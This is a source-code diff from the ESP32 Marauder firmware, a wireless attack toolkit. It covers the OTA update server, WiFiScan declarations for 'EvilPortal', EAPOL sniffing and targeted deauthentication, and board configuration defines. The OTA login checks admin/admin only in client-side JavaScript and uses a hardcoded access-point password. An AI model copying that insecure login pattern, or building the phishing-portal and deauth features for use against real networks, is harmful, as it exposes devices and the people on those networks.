display_obj.tft.setTextSize(1);
display_obj.tft.setTextColor(TFT_WHITE);
#endif
Serial.println(wifi_scan_obj.freeRAM());
#ifdef HAS_SCREEN
display_obj.tft.print(text_table3[0]);
#endif
Serial.println("Configuring update server...");
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_YELLOW);
#endif
// Start WiFi AP
Serial.println("Initializing WiFi...");
//wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
esp_wifi_init(&wifi_scan_obj.cfg);
//esp_wifi_set_storage(WIFI_STORAGE_RAM);
if (esp_wifi_set_storage(WIFI_STORAGE_FLASH) != ESP_OK)
Serial.println("Could not set WiFi Storage!");
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_start();
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Starting softAP...");
esp_wifi_set_mac(WIFI_IF_AP, &newMACAddress[0]);
WiFi.softAP(ssid, password);
Serial.println("");
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Displaying settings to TFT...");
#ifdef HAS_SCREEN
display_obj.tft.print(text_table1[2]);
display_obj.tft.println(ssid);
display_obj.tft.print(text_table3[1]);
display_obj.tft.print(WiFi.softAPIP());
display_obj.tft.print("\n");
#endif
Serial.print("IP address: ");
Serial.println(WiFi.softAPIP());
// return javascript jquery
Serial.println("Setting server behavior...");
Serial.println(wifi_scan_obj.freeRAM());
server.on("/jquery.min.js", HTTP_GET, onJavaScript);
/*return index page which is stored in serverIndex */
server.on("/", HTTP_GET, [this]() {
server.sendHeader("Connection", "close");
server.send(200, "text/html", loginIndex);
});
server.on("/serverIndex", HTTP_GET, [this]() {
server.sendHeader("Connection", "close");
server.send(200, "text/html", serverIndex);
});
/*handling uploading firmware file */
server.on("/update", HTTP_POST, [this]() {
server.sendHeader("Connection", "close");
server.send(200, "text/plain", (Update.hasError()) ? "FAIL" : "OK");
ESP.restart();
}, [this]() {
HTTPUpload& upload = server.upload();
if (upload.status == UPLOAD_FILE_START) {
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_YELLOW);
display_obj.tft.print(text_table3[2]);
display_obj.tft.print(upload.filename.c_str());
display_obj.tft.print("\n");
#endif
Serial.printf("Update: %s\n", upload.filename.c_str());
if (!Update.begin(UPDATE_SIZE_UNKNOWN)) { //start with max available size
Update.printError(Serial);
}
} else if (upload.status == UPLOAD_FILE_WRITE) {
/* flashing firmware to ESP*/
if (Update.write(upload.buf, upload.currentSize) != upload.currentSize) {
Update.printError(Serial);
}
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_CYAN);
display_obj.tft.fillRect(0, 164, 240, 8, TFT_BLACK);
display_obj.tft.setCursor(0, 164);
display_obj.tft.print(text_table3[3]);
display_obj.tft.print(upload.totalSize);
display_obj.tft.print("\n");
#endif
} else if (upload.status == UPLOAD_FILE_END) {
if (Update.end(true)) { //true to set the size to the current progress
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN);
display_obj.tft.print(text_table3[4]);
display_obj.tft.print(upload.totalSize);
display_obj.tft.print(text_table2[3]);
#endif
Serial.printf("Update Success: %u\nRebooting...\n", upload.totalSize);
delay(1000);
} else {
Update.printError(Serial);
}
}
});
Serial.println("Finished setting server behavior");
Serial.println(wifi_scan_obj.freeRAM());
Serial.println("Starting server...");
server.begin();
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN);
display_obj.tft.println(text_table3[5]);
#endif
Serial.println("Completed update server setup");
Serial.println(wifi_scan_obj.freeRAM());
}
void Web::shutdownServer() {
Serial.println("Closing Update Server...");
server.stop();
WiFi.mode(WIFI_OFF);
esp_wifi_set_mode(WIFI_MODE_NULL);
esp_wifi_stop();
esp_wifi_deinit();
Serial.println(wifi_scan_obj.freeRAM());
}

View File

@@ -1,141 +0,0 @@
#ifndef Web_h
#define Web_h
/*
Code taken from espressif ESP32 OTA Update example
*/
#include "configs.h"
#include <WiFi.h>
#include <WiFiClient.h>
#include <WebServer.h>
#include <ESPmDNS.h>
#include <Update.h>
#include "Assets.h"
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include "WiFiScan.h"
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
extern WiFiScan wifi_scan_obj;
class Web
{
private:
PROGMEM const char* host = "esp32marauder";
PROGMEM const char* ssid = "MarauderOTA";
PROGMEM const char* password = "justcallmekoko";
bool serving = false;
int num_sta = 0;
PROGMEM const char* loginIndex =
"<form name='loginForm'>"
"<table width='20%' bgcolor='A09F9F' align='center'>"
"<tr>"
"<td colspan=2>"
"<center><font size=4><b>ESP32 Login Page</b></font></center>"
"<br>"
"</td>"
"<br>"
"<br>"
"</tr>"
"<td>Username:</td>"
"<td><input type='text' size=25 name='userid'><br></td>"
"</tr>"
"<br>"
"<br>"
"<tr>"
"<td>Password:</td>"
"<td><input type='Password' size=25 name='pwd'><br></td>"
"<br>"
"<br>"
"</tr>"
"<tr>"
"<td><input type='submit' onclick='check(this.form)' value='Login'></td>"
"</tr>"
"</table>"
"</form>"
"<script>"
"function check(form)"
"{"
"if(form.userid.value=='admin' && form.pwd.value=='admin')"
"{"
"window.open('/serverIndex')"
"}"
"else"
"{"
" alert('Error Password or Username')/*displays error message*/"
"}"
"}"
"</script>";
/*
* Server Index Page
*/
PROGMEM const char* serverIndex =
"<script src='/jquery.min.js'></script>"
"Because the lack of an asynchronous webserver in this Arduino sketch like 'ESPAsyncWebServer', <br/>"
"both file 'serverIndex' and 'jquery.min.js' can't be read from the webserver at the same time. <br/><br/>"
"Your web browser probably requests those two files simultaneously and therefore <br/>"
"the javascript file failed to load. By a refresh of this page, the browser cash has already <br/>"
"load 'serverIndex' file, the web browser will do a second attempt to only read the javascript file. <br/>"
"This second attempt, with an idle webserver, will be processed.<br/><br/>"
"Long story short, press F5 (refresh web browser) before uploading your firmware. <br/><br/>"
"<form method='POST' action='#' enctype='multipart/form-data' id='upload_form'>"
"<input type='file' name='update'>"
"<input type='submit' value='Update'>"
"</form>"
"<div id='prg'>progress: 0%</div>"
"<script>"
"$('form').submit(function(e){"
"e.preventDefault();"
"var form = $('#upload_form')[0];"
"var data = new FormData(form);"
" $.ajax({"
"url: '/update',"
"type: 'POST',"
"data: data,"
"contentType: false,"
"processData:false,"
"xhr: function() {"
"var xhr = new window.XMLHttpRequest();"
"xhr.upload.addEventListener('progress', function(evt) {"
"if (evt.lengthComputable) {"
"var per = evt.loaded / evt.total;"
"$('#prg').html('progress: ' + Math.round(per*100) + '%');"
"}"
"}, false);"
"return xhr;"
"},"
"success:function(d, s) {"
"console.log('success!')"
"},"
"error: function (a, b, c) {"
"}"
"});"
"});"
"</script>";
public:
Web();
void main();
PROGMEM static void onJavaScript();
void setupOTAupdate();
void shutdownServer();
};
#endif

File diff suppressed because it is too large Load Diff

View File

@@ -15,6 +15,7 @@
#endif
#include <WiFi.h>
#include "EvilPortal.h"
#include <math.h>
#include "esp_wifi.h"
#include "esp_wifi_types.h"
@@ -24,14 +25,25 @@
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include "SDInterface.h"
#ifdef HAS_SD
#include "SDInterface.h"
#endif
#include "Buffer.h"
#include "BatteryInterface.h"
#include "TemperatureInterface.h"
#ifdef HAS_BATTERY
#include "BatteryInterface.h"
#endif
#ifdef HAS_TEMP_SENSOR
#include "TemperatureInterface.h"
#endif
#include "settings.h"
#include "Assets.h"
#include "flipperLED.h"
#include "LedInterface.h"
#ifdef MARAUDER_FLIPPER
#include "flipperLED.h"
#elif defined(XIAO_ESP32_S3)
#include "xiaoLED.h"
#else
#include "LedInterface.h"
#endif
//#include "MenuFunctions.h"
#define bad_list_length 3
@@ -67,32 +79,49 @@
#define WIFI_SCAN_RAW_CAPTURE 25
#define WIFI_SCAN_STATION 26
#define WIFI_ATTACK_DEAUTH_TARGETED 27
#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
#define WIFI_SCAN_SIG_STREN 29
#define WIFI_SCAN_EVIL_PORTAL 30
#define GRAPH_REFRESH 100
#define MAX_CHANNEL 14
extern EvilPortal evil_portal_obj;
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
extern SDInterface sd_obj;
#ifdef HAS_SD
extern SDInterface sd_obj;
#endif
extern Buffer buffer_obj;
extern BatteryInterface battery_obj;
extern TemperatureInterface temp_obj;
#ifdef HAS_BATTERY
extern BatteryInterface battery_obj;
#endif
#ifdef HAS_TEMP_SENSOR
extern TemperatureInterface temp_obj;
#endif
extern Settings settings_obj;
extern flipperLED flipper_led;
extern LedInterface led_obj;
#ifdef MARAUDER_FLIPPER
extern flipperLED flipper_led;
#elif defined(XIAO_ESP32_S3)
extern xiaoLED xiao_led;
#else
extern LedInterface led_obj;
#endif
esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
struct ssid {
/*struct ssid {
String essid;
uint8_t channel;
int bssid[6];
bool selected;
};
};*/
struct AccessPoint {
/*struct AccessPoint {
String essid;
int channel;
int bssid[6];
@@ -100,7 +129,7 @@ struct AccessPoint {
LinkedList<char>* beacon;
int rssi;
LinkedList<int>* stations;
};
};*/
struct Station {
uint8_t mac[6];
@@ -270,6 +299,8 @@ class WiFiScan
void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
void RunEvilPortal(uint8_t scan_mode, uint16_t color);
bool checkMem();
#ifdef HAS_BT
static void scanCompleteCB(BLEScanResults scanResults);
#endif
@@ -301,6 +332,7 @@ class WiFiScan
//lv_obj_t * scr = lv_cont_create(NULL, NULL);
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
wifi_config_t ap_config;
char* stringToChar(String string);
void RunSetup();
@@ -330,6 +362,7 @@ class WiFiScan
void main(uint32_t currentTime);
void StartScan(uint8_t scan_mode, uint16_t color = 0);
void StopScan(uint8_t scan_mode);
//void addLog(String log, int len);
static void getMAC(char *addr, uint8_t* data, uint16_t offset);
static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
@@ -345,5 +378,6 @@ class WiFiScan
static void activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len);
};
#endif

View File

@@ -3,7 +3,13 @@
#define configs_h
#define POLISH_POTATO
//Indicates that it must redirect the stream with the captured packets to serial (1)
//If not defined, will write packages to SD card if supported
//#define WRITE_PACKETS_SERIAL
//// BOARD TARGETS
//#define MARAUDER_M5STICKC
//#define MARAUDER_MINI
//#define MARAUDER_V4
//#define MARAUDER_V6
@@ -12,249 +18,488 @@
#define MARAUDER_FLIPPER
//#define ESP32_LDDB
//#define MARAUDER_DEV_BOARD_PRO
//#define XIAO_ESP32_S3
//// END BOARD TARGETS
#define MARAUDER_VERSION "v0.10.1"
#define MARAUDER_VERSION "v0.11.0-RC1"
//// BOARD FEATURES
#ifdef MARAUDER_M5STICKC
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
#endif
//// BUTTON DEFINITIONS
#ifdef MARAUDER_MINI
#define L_BTN 13
#define C_BTN 34
#define U_BTN 36
#define R_BTN 39
#define D_BTN 35
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BT
#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
#endif
#ifdef MARAUDER_V4
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
#endif
#ifdef MARAUDER_V6
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
#endif
#ifdef MARAUDER_KIT
//#define FLIPPER_ZERO_HAT
#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
#define HAS_SCREEN
#define HAS_SD
#define USE_SD
#define HAS_TEMP_SENSOR
#endif
#ifdef GENERIC_ESP32
//#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
//#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
//#define HAS_SD
//#define HAS_TEMP_SENSOR
#endif
#ifdef MARAUDER_FLIPPER
//#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
//#define HAS_BT
//#define HAS_BUTTONS
//#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
#ifndef WRITE_PACKETS_SERIAL
#define HAS_SD
#define USE_SD
#endif
//#define HAS_TEMP_SENSOR
#endif
#ifdef ESP32_LDDB
//#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
//#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
#define HAS_SD
#define USE_SD
//#define HAS_TEMP_SENSOR
#endif
#ifdef MARAUDER_DEV_BOARD_PRO
//#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
#define HAS_SD
#define USE_SD
//#define HAS_TEMP_SENSOR
#endif
#ifdef XIAO_ESP32_S3
#define FLIPPER_ZERO_HAT
//#define HAS_BATTERY
#define HAS_BT
//#define HAS_BUTTONS
//#define HAS_NEOPIXEL_LED
//#define HAS_PWR_MGMT
//#define HAS_SCREEN
//#define HAS_SD
//#define HAS_TEMP_SENSOR
#endif
//// END BOARD FEATURES
//// FLIPPER ZERO HAT SETTINGS
#ifdef FLIPPER_ZERO_HAT
//#ifdef MARAUDER_FLIPPER
// #define USE_FLIPPER_SD
//#endif
#ifdef XIAO_ESP32_S3
#define USE_FLIPPER_SD
#endif
#endif
//// END FLIPPER ZERO HAT SETTINGS
//// POWER MANAGEMENT
#ifdef HAS_PWR_MGMT
#ifdef MARAUDER_M5STICKC
#include "AXP192.h"
#endif
#endif
//// END POWER MANAGEMENT
//// BUTTON DEFINITIONS
#ifdef HAS_BUTTONS
#ifdef MARAUDER_MINI
#define L_BTN 13
#define C_BTN 34
#define U_BTN 36
#define R_BTN 39
#define D_BTN 35
#endif
#ifdef MARAUDER_M5STICKC
#define L_BTN -1
#define C_BTN 37
#define U_BTN -1
#define R_BTN -1
#define D_BTN 39
#endif
#endif
//// END BUTTON DEFINITIONS
//// DISPLAY DEFINITIONS
#ifdef MARAUDER_V4
#define BANNER_TEXT_SIZE 2
#ifdef HAS_SCREEN
#ifdef MARAUDER_M5STICKC
//#define TFT_MISO 19
#define TFT_MOSI 15
#define TFT_SCLK 13
#define TFT_CS 5
#define TFT_DC 23
#define TFT_RST 18
#define TFT_BL 10
#define TOUCH_CS 10
//#define SD_CS 1
#define SCREEN_BUFFER
#define MAX_SCREEN_BUFFER 9
#define BANNER_TEXT_SIZE 1
#ifndef TFT_WIDTH
#define TFT_WIDTH 135
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 240
#endif
#define CHAR_WIDTH 6
#define SCREEN_WIDTH TFT_HEIGHT // Originally 240
#define SCREEN_HEIGHT TFT_WIDTH // Originally 320
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_WIDTH
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX TFT_HEIGHT // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 11
#define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#ifdef MARAUDER_V4
#define HAS_ILI9341
#define BANNER_TEXT_SIZE 2
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_SHIELD
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 11
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#define TFT_SHIELD
#ifdef MARAUDER_V6
#define HAS_ILI9341
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 10
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#define BANNER_TEXT_SIZE 2
#ifdef MARAUDER_V6
#define BANNER_TEXT_SIZE 2
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_DIY
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 11
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#ifdef MARAUDER_KIT
#define HAS_ILI9341
#define BANNER_TEXT_SIZE 2
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_DIY
#define KIT
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 11
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_DIY
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 10
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#ifdef MARAUDER_KIT
#define BANNER_TEXT_SIZE 2
#ifndef TFT_WIDTH
#define TFT_WIDTH 240
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 320
#endif
#define TFT_DIY
#define KIT
#define SCREEN_WIDTH TFT_WIDTH
#define SCREEN_HEIGHT TFT_HEIGHT
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_HEIGHT
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX 320 // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 10
#define STATUS_BAR_WIDTH 16
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
#define FRAME_Y 64
#define FRAME_W 120
#define FRAME_H 50
// Red zone size
#define REDBUTTON_X FRAME_X
#define REDBUTTON_Y FRAME_Y
#define REDBUTTON_W (FRAME_W/2)
#define REDBUTTON_H FRAME_H
// Green zone size
#define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
#define GREENBUTTON_Y FRAME_Y
#define GREENBUTTON_W (FRAME_W/2)
#define GREENBUTTON_H FRAME_H
#define STATUSBAR_COLOR 0x4A49
#define KIT_LED_BUILTIN 13
#endif
#ifdef MARAUDER_MINI
#define TFT_MISO 19
#define TFT_MOSI 23
#define TFT_SCLK 18
#define TFT_CS 27
#define TFT_DC 26
#define TFT_RST 5
#define TFT_BL 32
#define TOUCH_CS 21
#define SD_CS 4
#ifdef MARAUDER_MINI
#define TFT_MISO 19
#define TFT_MOSI 23
#define TFT_SCLK 18
#define TFT_CS 27
#define TFT_DC 26
#define TFT_RST 5
#define TFT_BL 32
#define TOUCH_CS 21
#define SD_CS 4
#define SCREEN_BUFFER
#define SCREEN_BUFFER
#define MAX_SCREEN_BUFFER 9
#define MAX_SCREEN_BUFFER 9
#define BANNER_TEXT_SIZE 1
#define BANNER_TEXT_SIZE 1
#ifndef TFT_WIDTH
#define TFT_WIDTH 128
#ifndef TFT_WIDTH
#define TFT_WIDTH 128
#endif
#ifndef TFT_HEIGHT
#define TFT_HEIGHT 128
#endif
#define CHAR_WIDTH 6
#define SCREEN_WIDTH TFT_WIDTH // Originally 240
#define SCREEN_HEIGHT TFT_HEIGHT // Originally 320
#define HEIGHT_1 TFT_WIDTH
#define WIDTH_1 TFT_WIDTH
#define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
#define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
#define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
#define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
#define YMAX TFT_HEIGHT // Bottom of screen area
#define minimum(a,b) (((a) < (b)) ? (a) : (b))
//#define MENU_FONT NULL
#define MENU_FONT &FreeMono9pt7b // Winner
//#define MENU_FONT &FreeMonoBold9pt7b
//#define MENU_FONT &FreeSans9pt7b
//#define MENU_FONT &FreeSansBold9pt7b
#define BUTTON_ARRAY_LEN 11
#define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
#define LVGL_TICK_PERIOD 6
#define FRAME_X 100
